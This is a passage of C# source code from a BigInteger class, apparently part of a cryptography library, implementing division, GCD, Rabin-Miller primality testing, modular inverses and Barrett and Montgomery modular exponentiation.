Debug.Assert(yStart < y.Length);\n\n            int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y);\n            int[] count;\n\n            if (xyCmp > 0)\n            {\n                int yBitLength = CalcBitLength(1, yStart, y);\n                int xBitLength = CalcBitLength(1, xStart, x);\n                int shift = xBitLength - yBitLength;\n\n                int[] iCount;\n                int iCountStart = 0;\n\n                int[] c;\n                int cStart = 0;\n                int cBitLength = yBitLength;\n                if (shift > 0)\n                {\n                    //\t\t\t\t\tiCount = ShiftLeft(One.magnitude, shift);\n                    iCount = new int[(shift >> 5) + 1];\n                    iCount[0] = 1 << (shift % 32);\n\n                    c = ShiftLeft(y, shift);\n                    cBitLength += shift;\n                }\n                else\n                {\n                    iCount = new int[] { 1 };\n\n                    int len = y.Length - yStart;\n                    c = new int[len];\n                    Array.Copy(y, yStart, c, 0, len);\n                }\n\n                count = new int[iCount.Length];\n\n                for (; ; )\n                {\n                    if (cBitLength < xBitLength\n                        || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0)\n                    {\n                        Subtract(xStart, x, cStart, c);\n                        AddMagnitudes(count, iCount);\n\n                        while (x[xStart] == 0)\n                        {\n                            if (++xStart == x.Length)\n                                return count;\n                        }\n\n                        //xBitLength = CalcBitLength(xStart, x);\n                        xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]);\n\n                        if (xBitLength <= yBitLength)\n                        {\n                            if (xBitLength < yBitLength)\n                                return count;\n\n                            xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y);\n\n                            if (xyCmp <= 0)\n                                break;\n                        }\n                    }\n\n                    shift = cBitLength - xBitLength;\n\n                    // NB: The case where c[cStart] is 1-bit is harmless\n                    if (shift == 1)\n                    {\n                        uint firstC = (uint)c[cStart] >> 1;\n                        uint firstX = (uint)x[xStart];\n                        if (firstC > firstX)\n                            ++shift;\n                    }\n\n                    if (shift < 2)\n                    {\n                        ShiftRightOneInPlace(cStart, c);\n                        --cBitLength;\n                        ShiftRightOneInPlace(iCountStart, iCount);\n                    }\n                    else\n                    {\n                        ShiftRightInPlace(cStart, c, shift);\n                        cBitLength -= shift;\n                        ShiftRightInPlace(iCountStart, iCount, shift);\n                    }\n\n                    //cStart = c.Length - ((cBitLength + 31) / 32);\n                    while (c[cStart] == 0)\n                    {\n                        ++cStart;\n                    }\n\n                    while (iCount[iCountStart] == 0)\n                    {\n                        ++iCountStart;\n                    }\n                }\n            }\n            else\n            {\n                count = new int[1];\n            }\n\n            if (xyCmp == 0)\n            {\n                AddMagnitudes(count, One.magnitude);\n                Array.Clear(x, xStart, x.Length - xStart);\n            }\n\n            return count;\n        }\n\n        public BigInteger Divide(\n            BigInteger val)\n        {\n            if (val.sign == 0)\n                throw new ArithmeticException(\"Division by zero error\");\n\n            if (sign == 0)\n                return Zero;\n\n            if (val.QuickPow2Check()) // val is power of two\n            {\n                BigInteger result = this.Abs().ShiftRight(val.Abs().BitLength - 1);\n                return val.sign == this.sign ? result : result.Negate();\n            }\n\n            int[] mag = (int[])this.magnitude.Clone();\n\n            return new BigInteger(this.sign * val.sign, Divide(mag, val.magnitude), true);\n        }\n\n        public BigInteger[] DivideAndRemainder(\n            BigInteger val)\n        {\n            if (val.sign == 0)\n                throw new ArithmeticException(\"Division by zero error\");\n\n            BigInteger[] biggies = new BigInteger[2];\n\n            if (sign == 0)\n            {\n                biggies[0] = Zero;\n                biggies[1] = Zero;\n            }\n            else if (val.QuickPow2Check()) // val is power of two\n            {\n                int e = val.Abs().BitLength - 1;\n                BigInteger quotient = this.Abs().ShiftRight(e);\n                int[] remainder = this.LastNBits(e);\n\n                biggies[0] = val.sign == this.sign ? quotient : quotient.Negate();\n                biggies[1] = new BigInteger(this.sign, remainder, true);\n            }\n            else\n            {\n                int[] remainder = (int[])this.magnitude.Clone();\n                int[] quotient = Divide(remainder, val.magnitude);\n\n                biggies[0] = new BigInteger(this.sign * val.sign, quotient, true);\n                biggies[1] = new BigInteger(this.sign, remainder, true);\n            }\n\n            return biggies;\n        }\n\n        public override bool Equals(\n            object obj)\n        {\n            if (obj == this)\n                return true;\n\n            BigInteger biggie = obj as BigInteger;\n            if (biggie == null)\n                return false;\n\n            return sign == biggie.sign && IsEqualMagnitude(biggie);\n        }\n\n        private bool IsEqualMagnitude(BigInteger x)\n        {\n            int[] xMag = x.magnitude;\n            if (magnitude.Length != x.magnitude.Length)\n                return false;\n            for (int i = 0; i < magnitude.Length; i++)\n            {\n                if (magnitude[i] != x.magnitude[i])\n                    return false;\n            }\n            return true;\n        }\n\n        public BigInteger Gcd(\n            BigInteger value)\n        {\n            if (value.sign == 0)\n                return Abs();\n\n            if (sign == 0)\n                return value.Abs();\n\n            BigInteger r;\n            BigInteger u = this;\n            BigInteger v = value;\n\n            while (v.sign != 0)\n            {\n                r = u.Mod(v);\n                u = v;\n                v = r;\n            }\n\n            return u;\n        }\n\n        public override int GetHashCode()\n        {\n            int hc = magnitude.Length;\n            if (magnitude.Length > 0)\n            {\n                hc ^= magnitude[0];\n\n                if (magnitude.Length > 1)\n                {\n                    hc ^= magnitude[magnitude.Length - 1];\n                }\n            }\n\n            return sign < 0 ? ~hc : hc;\n        }\n\n        // TODO Make public?\n        private BigInteger Inc()\n        {\n            if (this.sign == 0)\n                return One;\n\n            if (this.sign < 0)\n                return new BigInteger(-1, doSubBigLil(this.magnitude, One.magnitude), true);\n\n            return AddToMagnitude(One.magnitude);\n        }\n\n        public int IntValue\n        {\n            get\n            {\n                if (sign == 0)\n                    return 0;\n\n                int n = magnitude.Length;\n\n                int v = magnitude[n - 1];\n\n                return sign < 0 ? -v : v;\n            }\n        }\n\n        public int IntValueExact\n        {\n            get\n            {\n                if (BitLength > 31)\n                    throw new ArithmeticException(\"BigInteger out of int range\");\n\n                return IntValue;\n            }\n        }\n\n        /**\n         * return whether or not a BigInteger is probably prime with a\n         * probability of 1 - (1/2)**certainty.\n         * <p>From Knuth Vol 2, pg 395.</p>\n         */\n        public bool IsProbablePrime(int certainty)\n        {\n            return IsProbablePrime(certainty, false);\n        }\n\n        internal bool IsProbablePrime(int certainty, bool randomlySelected)\n        {\n            if (certainty <= 0)\n                return true;\n\n            BigInteger n = Abs();\n\n            if (!n.TestBit(0))\n                return n.Equals(Two);\n\n            if (n.Equals(One))\n                return false;\n\n            return n.CheckProbablePrime(certainty, RandomSource, randomlySelected);\n        }\n\n        private bool CheckProbablePrime(int certainty, Random random, bool randomlySelected)\n        {\n            Debug.Assert(certainty > 0);\n            Debug.Assert(CompareTo(Two) > 0);\n            Debug.Assert(TestBit(0));\n\n\n            // Try to reduce the penalty for really small numbers\n            int numLists = System.Math.Min(BitLength - 1, primeLists.Length);\n\n            for (int i = 0; i < numLists; ++i)\n            {\n                int test = Remainder(primeProducts[i]);\n\n                int[] primeList = primeLists[i];\n                for (int j = 0; j < primeList.Length; ++j)\n                {\n                    int prime = primeList[j];\n                    int qRem = test % prime;\n                    if (qRem == 0)\n                    {\n                        // We may find small numbers in the list\n                        return BitLength < 16 && IntValue == prime;\n                    }\n                }\n            }\n\n\n            // TODO Special case for < 10^16 (RabinMiller fixed list)\n            //\t\t\tif (BitLength < 30)\n            //\t\t\t{\n            //\t\t\t\tRabinMiller against 2, 3, 5, 7, 11, 13, 23 is sufficient\n            //\t\t\t}\n\n\n            // TODO Is it worth trying to create a hybrid of these two?\n            return RabinMillerTest(certainty, random, randomlySelected);\n            //\t\t\treturn SolovayStrassenTest(certainty, random);\n\n            //\t\t\tbool rbTest = RabinMillerTest(certainty, random);\n            //\t\t\tbool ssTest = SolovayStrassenTest(certainty, random);\n            //\n            //\t\t\tDebug.Assert(rbTest == ssTest);\n            //\n            //\t\t\treturn rbTest;\n        }\n\n        public bool RabinMillerTest(int certainty, Random random)\n        {\n            return RabinMillerTest(certainty, random, false);\n        }\n\n        internal bool RabinMillerTest(int certainty, Random random, bool randomlySelected)\n        {\n            int bits = BitLength;\n\n            Debug.Assert(certainty > 0);\n            Debug.Assert(bits > 2);\n            Debug.Assert(TestBit(0));\n\n            int iterations = ((certainty - 1) / 2) + 1;\n            if (randomlySelected)\n            {\n                int itersFor100Cert = bits >= 1024 ? 4\n                                    : bits >= 512 ? 8\n                                    : bits >= 256 ? 16\n                                    : 50;\n\n                if (certainty < 100)\n                {\n                    iterations = System.Math.Min(itersFor100Cert, iterations);\n                }\n                else\n                {\n                    iterations -= 50;\n                    iterations += itersFor100Cert;\n                }\n            }\n\n            // let n = 1 + d . 2^s\n            BigInteger n = this;\n            int s = n.GetLowestSetBitMaskFirst(-1 << 1);\n            Debug.Assert(s >= 1);\n            BigInteger r = n.ShiftRight(s);\n\n            // NOTE: Avoid conversion to/from Montgomery form and check for R/-R as result instead\n\n            BigInteger montRadix = One.ShiftLeft(32 * n.magnitude.Length).Remainder(n);\n            BigInteger minusMontRadix = n.Subtract(montRadix);\n\n            do\n            {\n                BigInteger a;\n                do\n                {\n                    a = new BigInteger(n.BitLength, random);\n                }\n                while (a.sign == 0 || a.CompareTo(n) >= 0\n                    || a.IsEqualMagnitude(montRadix) || a.IsEqualMagnitude(minusMontRadix));\n\n                BigInteger y = ModPowMonty(a, r, n, false);\n\n                if (!y.Equals(montRadix))\n                {\n                    int j = 0;\n                    while (!y.Equals(minusMontRadix))\n                    {\n                        if (++j == s)\n                            return false;\n\n                        y = ModPowMonty(y, Two, n, false);\n\n                        if (y.Equals(montRadix))\n                            return false;\n                    }\n                }\n            }\n            while (--iterations > 0);\n\n            return true;\n        }\n\n        //\t\tprivate bool SolovayStrassenTest(\n        //\t\t\tint\t\tcertainty,\n        //\t\t\tRandom\trandom)\n        //\t\t{\n        //\t\t\tDebug.Assert(certainty > 0);\n        //\t\t\tDebug.Assert(CompareTo(Two) > 0);\n        //\t\t\tDebug.Assert(TestBit(0));\n        //\n        //\t\t\tBigInteger n = this;\n        //\t\t\tBigInteger nMinusOne = n.Subtract(One);\n        //\t\t\tBigInteger e = nMinusOne.ShiftRight(1);\n        //\n        //\t\t\tdo\n        //\t\t\t{\n        //\t\t\t\tBigInteger a;\n        //\t\t\t\tdo\n        //\t\t\t\t{\n        //\t\t\t\t\ta = new BigInteger(nBitLength, random);\n        //\t\t\t\t}\n        //\t\t\t\t// NB: Spec says 0 < x < n, but 1 is trivial\n        //\t\t\t\twhile (a.CompareTo(One) <= 0 || a.CompareTo(n) >= 0);\n        //\n        //\n        //\t\t\t\t// TODO Check this is redundant given the way Jacobi() works?\n        ////\t\t\t\tif (!a.Gcd(n).Equals(One))\n        ////\t\t\t\t\treturn false;\n        //\n        //\t\t\t\tint x = Jacobi(a, n);\n        //\n        //\t\t\t\tif (x == 0)\n        //\t\t\t\t\treturn false;\n        //\n        //\t\t\t\tBigInteger check = a.ModPow(e, n);\n        //\n        //\t\t\t\tif (x == 1 && !check.Equals(One))\n        //\t\t\t\t\treturn false;\n        //\n        //\t\t\t\tif (x == -1 && !check.Equals(nMinusOne))\n        //\t\t\t\t\treturn false;\n        //\n        //\t\t\t\t--certainty;\n        //\t\t\t}\n        //\t\t\twhile (certainty > 0);\n        //\n        //\t\t\treturn true;\n        //\t\t}\n        //\n        //\t\tprivate static int Jacobi(\n        //\t\t\tBigInteger\ta,\n        //\t\t\tBigInteger\tb)\n        //\t\t{\n        //\t\t\tDebug.Assert(a.sign >= 0);\n        //\t\t\tDebug.Assert(b.sign > 0);\n        //\t\t\tDebug.Assert(b.TestBit(0));\n        //\t\t\tDebug.Assert(a.CompareTo(b) < 0);\n        //\n        //\t\t\tint totalS = 1;\n        //\t\t\tfor (;;)\n        //\t\t\t{\n        //\t\t\t\tif (a.sign == 0)\n        //\t\t\t\t\treturn 0;\n        //\n        //\t\t\t\tif (a.Equals(One))\n        //\t\t\t\t\tbreak;\n        //\n        //\t\t\t\tint e = a.GetLowestSetBit();\n        //\n        //\t\t\t\tint bLsw = b.magnitude[b.magnitude.Length - 1];\n        //\t\t\t\tif ((e & 1) != 0 && ((bLsw & 7) == 3 || (bLsw & 7) == 5))\n        //\t\t\t\t\ttotalS = -totalS;\n        //\n        //\t\t\t\t// TODO Confirm this is faster than later a1.Equals(One) test\n        //\t\t\t\tif (a.BitLength == e + 1)\n        //\t\t\t\t\tbreak;\n        //\t\t\t\tBigInteger a1 = a.ShiftRight(e);\n        ////\t\t\t\tif (a1.Equals(One))\n        ////\t\t\t\t\tbreak;\n        //\n        //\t\t\t\tint a1Lsw = a1.magnitude[a1.magnitude.Length - 1];\n        //\t\t\t\tif ((bLsw & 3) == 3 && (a1Lsw & 3) == 3)\n        //\t\t\t\t\ttotalS = -totalS;\n        //\n        ////\t\t\t\ta = b.Mod(a1);\n        //\t\t\t\ta = b.Remainder(a1);\n        //\t\t\t\tb = a1;\n        //\t\t\t}\n        //\t\t\treturn totalS;\n        //\t\t}\n\n        public long LongValue\n        {\n            get\n            {\n                if (sign == 0)\n                    return 0;\n\n                int n = magnitude.Length;\n\n                long v = magnitude[n - 1] & IMASK;\n                if (n > 1)\n                {\n                    v |= (magnitude[n - 2] & IMASK) << 32;\n                }\n\n                return sign < 0 ? -v : v;\n            }\n        }\n\n        public long LongValueExact\n        {\n            get\n            {\n                if (BitLength > 63)\n                    throw new ArithmeticException(\"BigInteger out of long range\");\n\n                return LongValue;\n            }\n        }\n\n        public BigInteger Max(\n            BigInteger value)\n        {\n            return CompareTo(value) > 0 ? this : value;\n        }\n\n        public BigInteger Min(\n            BigInteger value)\n        {\n            return CompareTo(value) < 0 ? this : value;\n        }\n\n        public BigInteger Mod(\n            BigInteger m)\n        {\n            if (m.sign < 1)\n                throw new ArithmeticException(\"Modulus must be positive\");\n\n            BigInteger biggie = Remainder(m);\n\n            return (biggie.sign >= 0 ? biggie : biggie.Add(m));\n        }\n\n        public BigInteger ModInverse(\n            BigInteger m)\n        {\n            if (m.sign < 1)\n                throw new ArithmeticException(\"Modulus must be positive\");\n\n            // TODO Too slow at the moment\n            //\t\t\t// \"Fast Key Exchange with Elliptic Curve Systems\" R.Schoeppel\n            //\t\t\tif (m.TestBit(0))\n            //\t\t\t{\n            //\t\t\t\t//The Almost Inverse Algorithm\n            //\t\t\t\tint k = 0;\n            //\t\t\t\tBigInteger B = One, C = Zero, F = this, G = m, tmp;\n            //\n            //\t\t\t\tfor (;;)\n            //\t\t\t\t{\n            //\t\t\t\t\t// While F is even, do F=F/u, C=C*u, k=k+1.\n            //\t\t\t\t\tint zeroes = F.GetLowestSetBit();\n            //\t\t\t\t\tif (zeroes > 0)\n            //\t\t\t\t\t{\n            //\t\t\t\t\t\tF = F.ShiftRight(zeroes);\n            //\t\t\t\t\t\tC = C.ShiftLeft(zeroes);\n            //\t\t\t\t\t\tk += zeroes;\n            //\t\t\t\t\t}\n            //\n            //\t\t\t\t\t// If F = 1, then return B,k.\n            //\t\t\t\t\tif (F.Equals(One))\n            //\t\t\t\t\t{\n            //\t\t\t\t\t\tBigInteger half = m.Add(One).ShiftRight(1);\n            //\t\t\t\t\t\tBigInteger halfK = half.ModPow(BigInteger.ValueOf(k), m);\n            //\t\t\t\t\t\treturn B.Multiply(halfK).Mod(m);\n            //\t\t\t\t\t}\n            //\n            //\t\t\t\t\tif (F.CompareTo(G) < 0)\n            //\t\t\t\t\t{\n            //\t\t\t\t\t\ttmp = G; G = F; F = tmp;\n            //\t\t\t\t\t\ttmp = B; B = C; C = tmp;\n            //\t\t\t\t\t}\n            //\n            //\t\t\t\t\tF = F.Add(G);\n            //\t\t\t\t\tB = B.Add(C);\n            //\t\t\t\t}\n            //\t\t\t}\n\n            if (m.QuickPow2Check())\n            {\n                return ModInversePow2(m);\n            }\n\n            BigInteger d = this.Remainder(m);\n            BigInteger x;\n            BigInteger gcd = ExtEuclid(d, m, out x);\n\n            if (!gcd.Equals(One))\n                throw new ArithmeticException(\"Numbers not relatively prime.\");\n\n            if (x.sign < 0)\n            {\n                x = x.Add(m);\n            }\n\n            return x;\n        }\n\n        private BigInteger ModInversePow2(BigInteger m)\n        {\n            Debug.Assert(m.SignValue > 0);\n            Debug.Assert(m.BitCount == 1);\n\n            if (!TestBit(0))\n            {\n                throw new ArithmeticException(\"Numbers not relatively prime.\");\n            }\n\n            int pow = m.BitLength - 1;\n\n            long inv64 = ModInverse64(LongValue);\n            if (pow < 64)\n            {\n                inv64 &= ((1L << pow) - 1);\n            }\n\n            BigInteger x = BigInteger.ValueOf(inv64);\n\n            if (pow > 64)\n            {\n                BigInteger d = this.Remainder(m);\n                int bitsCorrect = 64;\n\n                do\n                {\n                    BigInteger t = x.Multiply(d).Remainder(m);\n                    x = x.Multiply(Two.Subtract(t)).Remainder(m);\n                    bitsCorrect <<= 1;\n                }\n                while (bitsCorrect < pow);\n            }\n\n            if (x.sign < 0)\n            {\n                x = x.Add(m);\n            }\n\n            return x;\n        }\n\n        private static int ModInverse32(int d)\n        {\n            // Newton's method with initial estimate \"correct to 4 bits\"\n            Debug.Assert((d & 1) != 0);\n            int x = d + (((d + 1) & 4) << 1);   // d.x == 1 mod 2**4\n            Debug.Assert(((d * x) & 15) == 1);\n            x *= 2 - d * x;                     // d.x == 1 mod 2**8\n            x *= 2 - d * x;                     // d.x == 1 mod 2**16\n            x *= 2 - d * x;                     // d.x == 1 mod 2**32\n            Debug.Assert(d * x == 1);\n            return x;\n        }\n\n        private static long ModInverse64(long d)\n        {\n            // Newton's method with initial estimate \"correct to 4 bits\"\n            Debug.Assert((d & 1L) != 0);\n            long x = d + (((d + 1L) & 4L) << 1);    // d.x == 1 mod 2**4\n            Debug.Assert(((d * x) & 15L) == 1L);\n            x *= 2 - d * x;                         // d.x == 1 mod 2**8\n            x *= 2 - d * x;                         // d.x == 1 mod 2**16\n            x *= 2 - d * x;                         // d.x == 1 mod 2**32\n            x *= 2 - d * x;                         // d.x == 1 mod 2**64\n            Debug.Assert(d * x == 1L);\n            return x;\n        }\n\n        /**\n         * Calculate the numbers u1, u2, and u3 such that:\n         *\n         * u1 * a + u2 * b = u3\n         *\n         * where u3 is the greatest common divider of a and b.\n         * a and b using the extended Euclid algorithm (refer p. 323\n         * of The Art of Computer Programming vol 2, 2nd ed).\n         * This also seems to have the side effect of calculating\n         * some form of multiplicative inverse.\n         *\n         * @param a    First number to calculate gcd for\n         * @param b    Second number to calculate gcd for\n         * @param u1Out      the return object for the u1 value\n         * @return     The greatest common divisor of a and b\n         */\n        private static BigInteger ExtEuclid(BigInteger a, BigInteger b, out BigInteger u1Out)\n        {\n            BigInteger u1 = One, v1 = Zero;\n            BigInteger u3 = a, v3 = b;\n\n            if (v3.sign > 0)\n            {\n                for (; ; )\n                {\n                    BigInteger[] q = u3.DivideAndRemainder(v3);\n                    u3 = v3;\n                    v3 = q[1];\n\n                    BigInteger oldU1 = u1;\n                    u1 = v1;\n\n                    if (v3.sign <= 0)\n                        break;\n\n                    v1 = oldU1.Subtract(v1.Multiply(q[0]));\n                }\n            }\n\n            u1Out = u1;\n\n            return u3;\n        }\n\n        private static void ZeroOut(\n            int[] x)\n        {\n            Array.Clear(x, 0, x.Length);\n        }\n\n        public BigInteger ModPow(BigInteger e, BigInteger m)\n        {\n            if (m.sign < 1)\n                throw new ArithmeticException(\"Modulus must be positive\");\n\n            if (m.Equals(One))\n                return Zero;\n\n            if (e.sign == 0)\n                return One;\n\n            if (sign == 0)\n                return Zero;\n\n            bool negExp = e.sign < 0;\n            if (negExp)\n                e = e.Negate();\n\n            BigInteger result = this.Mod(m);\n            if (!e.Equals(One))\n            {\n                if ((m.magnitude[m.magnitude.Length - 1] & 1) == 0)\n                {\n                    result = ModPowBarrett(result, e, m);\n                }\n                else\n                {\n                    result = ModPowMonty(result, e, m, true);\n                }\n            }\n\n            if (negExp)\n                result = result.ModInverse(m);\n\n            return result;\n        }\n\n        private static BigInteger ModPowBarrett(BigInteger b, BigInteger e, BigInteger m)\n        {\n            int k = m.magnitude.Length;\n            BigInteger mr = One.ShiftLeft((k + 1) << 5);\n            BigInteger yu = One.ShiftLeft(k << 6).Divide(m);\n\n            // Sliding window from MSW to LSW\n            int extraBits = 0, expLength = e.BitLength;\n            while (expLength > ExpWindowThresholds[extraBits])\n            {\n                ++extraBits;\n            }\n\n            int numPowers = 1 << extraBits;\n            BigInteger[] oddPowers = new BigInteger[numPowers];\n            oddPowers[0] = b;\n\n            BigInteger b2 = ReduceBarrett(b.Square(), m, mr, yu);\n\n            for (int i = 1; i < numPowers; ++i)\n            {\n                oddPowers[i] = ReduceBarrett(oddPowers[i - 1].Multiply(b2), m, mr, yu);\n            }\n\n            int[] windowList = GetWindowList(e.magnitude, extraBits);\n            Debug.Assert(windowList.Length > 0);\n\n            int window = windowList[0];\n            int mult = window & 0xFF, lastZeroes = window >> 8;\n\n            BigInteger y;\n            if (mult == 1)\n            {\n                y = b2;\n                --lastZeroes;\n            }\n            else\n            {\n                y = oddPowers[mult >> 1];\n            }\n\n            int windowPos = 1;\n            while ((window = windowList[windowPos++]) != -1)\n            {\n                mult = window & 0xFF;\n\n                int bits = lastZeroes + BitLengthTable[mult];\n                for (int j = 0; j < bits; ++j)\n                {\n                    y = ReduceBarrett(y.Square(), m, mr, yu);\n                }\n\n                y = ReduceBarrett(y.Multiply(oddPowers[mult >> 1]), m, mr, yu);\n\n                lastZeroes = window >> 8;\n            }\n\n            for (int i = 0; i < lastZeroes; ++i)\n            {\n                y = ReduceBarrett(y.Square(), m, mr, yu);\n            }\n\n            return y;\n        }\n\n        private static BigInteger ReduceBarrett(BigInteger x, BigInteger m, BigInteger mr, BigInteger yu)\n        {\n            int xLen = x.BitLength, mLen = m.BitLength;\n            if (xLen < mLen)\n                return x;\n\n            if (xLen - mLen > 1)\n            {\n                int k = m.magnitude.Length;\n\n                BigInteger q1 = x.DivideWords(k - 1);\n                BigInteger q2 = q1.Multiply(yu); // TODO Only need partial multiplication here\n                BigInteger q3 = q2.DivideWords(k + 1);\n\n                BigInteger r1 = x.RemainderWords(k + 1);\n                BigInteger r2 = q3.Multiply(m); // TODO Only need partial multiplication here\n                BigInteger r3 = r2.RemainderWords(k + 1);\n\n                x = r1.Subtract(r3);\n                if (x.sign < 0)\n                {\n                    x = x.Add(mr);\n                }\n            }\n\n            while (x.CompareTo(m) >= 0)\n            {\n                x = x.Subtract(m);\n            }\n\n            return x;\n        }\n\n        private static BigInteger ModPowMonty(BigInteger b, BigInteger e, BigInteger m, bool convert)\n        {\n            int n = m.magnitude.Length;\n            int powR = 32 * n;\n            bool smallMontyModulus = m.BitLength + 2 <= powR;\n            uint mDash = (uint)m.GetMQuote();\n\n            // tmp = this * R mod m\n            if (convert)\n            {\n                b = b.ShiftLeft(powR).Remainder(m);\n            }\n\n            int[] yAccum = new int[n + 1];\n\n            int[] zVal = b.magnitude;\n            Debug.Assert(zVal.Length <= n);\n            if (zVal.Length < n)\n            {\n                int[] tmp = new int[n];\n                zVal.CopyTo(tmp, n - zVal.Length);\n                zVal = tmp;\n            }\n\n            // Sliding window from MSW to LSW\n\n            int extraBits = 0;\n\n            // Filter the common case of small RSA exponents with few bits set\n            if (e.magnitude.Length > 1 || e.BitCount > 2)\n            {\n                int expLength = e.BitLength;\n                while (expLength > ExpWindowThresholds[extraBits])\n                {\n                    ++extraBits;\n                }\n            }\n\n            int numPowers = 1 << extraBits;\n            int[][] oddPowers = new int[numPowers][];\n            oddPowers[0] = zVal;\n\n            int[] zSquared = Arrays.Clone(zVal);\n            SquareMonty(yAccum, zSquared, m.magnitude, mDash, smallMontyModulus);\n\n            for (int i = 1; i < numPowers; ++i)\n            {\n                oddPowers[i] = Arrays.Clone(oddPowers[i - 1]);\n                MultiplyMonty(yAccum, oddPowers[i], zSquared, m.magnitude, mDash, smallMontyModulus);\n            }\n\n            int[] windowList = GetWindowList(e.magnitude, extraBits);\n            Debug.Assert(windowList.Length > 1);\n\n            int window = windowList[0];\n            int mult = window & 0xFF, lastZeroes = window >> 8;\n\n            int[] yVal;\n            if (mult == 1)\n            {\n                yVal = zSquared;\n                --lastZeroes;\n            }\n            else\n            {\n                yVal = Arrays.Clone(oddPowers[mult >> 1]);\n            }\n\n            int windowPos = 1;\n            while ((window = windowList[windowPos++]) != -1)\n            {\n                mult = window & 0xFF;\n\n                int bits = lastZeroes + BitLengthTable[mult];\n                for (int j = 0; j < bits; ++j)\n                {\n                    SquareMonty(yAccum, yVal, m.magnitude, mDash, smallMontyModulus);\n                }\n\n                MultiplyMonty(yAccum, yVal, oddPowers[mult >> 1], m.magnitude, mDash, smallMontyModulus);\n\n                lastZeroes = window >> 8;\n            }\n\n            for (int i = 0; i < lastZeroes; ++i)\n            {\n                SquareMonty(yAccum, yVal, m.magnitude, mDash, smallMontyModulus);\n            }\n\n            if (convert)\n            {\n                // Return y * R^(-1) mod m\n                MontgomeryReduce(yVal, m.magnitude, mDash);\n            }\n            else if (smallMontyModulus && CompareTo(0, yVal, 0, m.magnitude) >= 0)\n            {\n                Subtract(0, yVal, 0, m.magnitude);\n            }\n\n            return new BigInteger(1, yVal, true);\n        }\n\n        private static int[] GetWindowList(int[] mag, int extraBits)\n        {\n            int v = mag[0];\n            Debug.Assert(v != 0);\n\n            int leadingBits = BitLen(v);\n\n            int resultSize = (((mag.Length - 1) << 5) + leadingBits) / (1 + extraBits) + 2;\n            int[] result = new int[resultSize];\n            int resultPos = 0;\n\n            int bitPos = 33 - leadingBits;\n            v <<= bitPos;\n\n            int mult = 1, multLimit = 1 << extraBits;\n            int zeroes = 0;\n\n            int i = 0;\n            for (; ; )\n            {\n                for (; bitPos < 32; ++bitPos)\n                {\n                    if (mult < multLimit)\n                    {\n                        mult = (mult << 1) | (int)((uint)v >> 31);\n                    }\n                    else if (v < 0)\n                    {\n                        result[resultPos++] = CreateWindowEntry(mult, zeroes);\n                        mult = 1;\n                        zeroes = 0;\n                    }\n                    else\n                    {\n                        ++zeroes;\n                    }\n\n                    v <<= 1;\n                }\n\n                if (++i == mag.Length)\n                {\n                    result[resultPos++] = CreateWindowEntry(mult, zeroes);\n                    break;\n                }\n\n                v = mag[i];\n                bitPos = 0;\n            }\n\n            result[resultPos] = -1;\n            return result;\n        }\n\n        private static int CreateWindowEntry(int mult, int zeroes)\n        {\n            while ((mult & 1) == 0)\n            {\n                mult >>= 1;\n                ++zeroes;\n            }\n\n            return mult | (zeroes << 8);\n        }\n\n        /**\n         * return w with w = x * x - w is assumed to have enough space.\n         */\n        private static int[] Square(\n            int[] w,\n            int[] x)\n        {\n            // Note: this method allows w to be only (2 * x.Length - 1) words if result will fit\n            //\t\t\tif (w.Length != 2 * x.Length)\n            //\t\t\t\tthrow new ArgumentException(\"no I don't think so...\");\n\n            ulong c;\n\n            int wBase = w.Length - 1;\n\n            for (int i = x.Length - 1; i > 0; --i)\n            {\n                ulong v = (uint)x[i];\n\n                c = v * v + (uint)w[wBase];\n                w[wBase] = (int)c;\n                c >>= 32;\n\n                for (int j = i - 1; j >= 0; --j)\n                {\n                    ulong prod = v * (uint)x[j];\n\n                    c += ((uint)w[--wBase] & UIMASK) + ((uint)prod << 1);\n                    w[wBase] = (int)c;\n                    c = (c >> 32) + (prod >> 31);\n                }\n\n                c += (uint)w[--wBase];\n                w[wBase] = (int)c;\n\n                if (--wBase >= 0)\n                {\n                    w[wBase] = (int)(c >> 32);\n                }\n                else\n                {\n                    Debug.Assert((c >> 32) == 0);\n                }\n\n                wBase += i;\n            }\n\n            c = (uint)x[0];\n\n            c = c * c + (uint)w[wBase];\n            w[wBase] = (int)c;\n\n            if (--wBase >= 0)\n            {\n                w[wBase] += (int)(c >> 32);\n            }\n            else\n            {\n                Debug.Assert((c >> 32) == 0);\n            }\n\n            return w;\n        }\n\n        /**\n         * return x with x = y * z - x is assumed to have enough space.\n         */\n        private static int[] Multiply(int[] x, int[] y, int[] z)\n        {\n            int i = z.Length;\n\n            if (i < 1)\n                return x;\n\n            int xBase = x.Length - y.Length;\n\n            do\n            {\n                long a = z[--i] & IMASK;\n                long val = 0;\n\n                if (a != 0)\n                {\n                    for (int j = y.Length - 1; j >= 0; j--)\n                    {\n                        val += a * (y[j] & IMASK) + (x[xBase + j] & IMASK);\n\n                        x[xBase + j] = (int)val;\n\n                        val = (long)((ulong)val >> 32);\n                    }\n                }\n\n                --xBase;\n\n                if (xBase >= 0)\n                {\n                    x[xBase] = (int)val;\n                }\n                else\n                {\n                    Debug.Assert(val == 0);\n                }\n            }\n            while (i > 0);\n\n            return x;\n        }\n\n        /**\n         * Calculate mQuote = -m^(-1) mod b with b = 2^32 (32 = word size)\n         */\n        private int GetMQuote()\n        {\n            if (mQuote != 0)\n            {\n                return mQuote; // already calculated\n            }\n\n            Debug.Assert(this.sign > 0);\n\n            int d = -magnitude[magnitude.Length - 1];\n\n            Debug.Assert((d & 1) != 0);\n\n            return mQuote = ModInverse32(d);\n        }\n\n        private static void MontgomeryReduce(int[] x, int[] m, uint mDash) // mDash = -m^(-1) mod b\n        {\n            // NOTE: Not a general purpose reduction (which would allow x up to twice the bitlength of m)\n            Debug.Assert(x.Length == m.Length);\n\n            int n = m.Length;\n\n            for (int i = n - 1; i >= 0; --i)\n            {\n                uint x0 = (uint)x[n - 1];\n                ulong t = x0 * mDash;\n\n                ulong carry = t * (uint)m[n - 1] + x0;\n                Debug.Assert((uint)carry == 0);\n                carry >>= 32;\n\n                for (int j = n - 2; j >= 0; --j)\n                {\n                    carry += t * (uint)m[j] + (uint)x[j];\n                    x[j + 1] = (int)carry;\n                    carry >>= 32;\n                }\n\n                x[0] = (int)carry;\n                Debug.Assert(carry >> 32 == 0);\n            }\n\n            if (CompareTo(0, x, 0, m) >= 0)\n            {\n                Subtract(0, x, 0, m);\n            }\n        }\n\n        /**\n         * Montgomery multiplication: a = x * y * R^(-1) mod m\n         * <br/>\n         * Based algorithm 